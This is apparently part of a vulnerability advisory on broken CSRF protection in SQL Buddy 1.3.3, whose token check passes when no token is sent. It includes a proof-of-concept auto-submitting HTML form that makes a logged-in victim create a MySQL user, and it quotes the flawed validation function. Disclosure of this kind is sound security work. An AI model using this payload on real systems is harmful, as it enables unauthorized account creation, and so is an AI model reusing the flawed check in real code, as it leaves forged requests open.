2. Vulnerability Description

None of the forms of SQL Buddy 1.3.3 have proper CSRF protection, which means
that an attacker can perform actions for the victim if the victim visits an
attacker controlled site while logged in.

While SQL Buddy does have CSRF protection, it does not work properly. If a CSRF
token is sumbitted, it has to be correct. However, if no token is submitted,
the check is passed as well.

3. Proof of Concept

Insert a new MySQL user:

        <form name="myform" method="post" action="http://localhost/sqlbuddy/query.php?ajaxRequest=2807&db=foo" >
                    <input type="hidden" name="query" value="CREATE USER 'injected'@...calhost' IDENTIFIED BY 'injected';">
            </form>
        <script>document.myform.submit();</script>

4. Code

        functions.php:215
        function validateRequest() {
                global $requestKey;
                if (isset($_GET['requestKey']) && $_GET['requestKey'] != $requestKey) {
                        return false;
                }
                return true;
        }

5. Solution

This issue was not fixed by the vendor.
